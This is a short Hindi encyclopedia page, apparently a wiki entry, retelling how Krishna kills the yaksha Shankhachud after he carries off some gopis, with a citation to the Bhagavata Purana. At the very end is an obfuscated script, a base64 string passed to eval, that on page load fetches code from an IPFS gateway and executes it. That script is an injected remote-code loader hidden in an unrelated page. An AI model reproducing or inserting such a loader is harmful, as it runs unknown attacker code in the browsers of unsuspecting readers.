शंखचूड़ (यक्ष)

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

शंखचूड़ नामक यक्ष का वध श्रीकृष्ण के द्वारा किया गया था, क्योंकि वह कुछ गोपियों का हरण करके भाग रहा था।

  • जब बलराम और कृष्ण स्वच्छंद विहार कर रहे थे, तभी शंखचूड़ यक्ष कुछ गोपियों को लेकर उत्तर की ओर भागा।
  • गोपियों ने शोर मचाया, तब बलराम और कृष्ण शाल वृक्ष लेकर उसके पीछे-पीछे भागे।
  • उनको आता देखकर शंखचूड़ गोपियों को छोड़कर भागा।
  • बलराम गोपियों की सुरक्षा के लिए वहीं पर रह गए तथा कृष्ण ने उसका पीछा कर उसे पकड़ लिया।
  • कृष्ण ने उसके सिर पर घूँसा मारा तो उसका सिर धड़ से अलग हो गया तथा उसके सिर में रहने वाली चूड़ामणि कृष्ण को मिल गई।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय मिथक कोश |लेखक: डॉ. उषा पुरी विद्यावाचस्पति |प्रकाशक: नेशनल पब्लिशिंग हाउस, नई दिल्ली |पृष्ठ संख्या: 301 |

  1. श्रीमदभागवत, 10|34

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>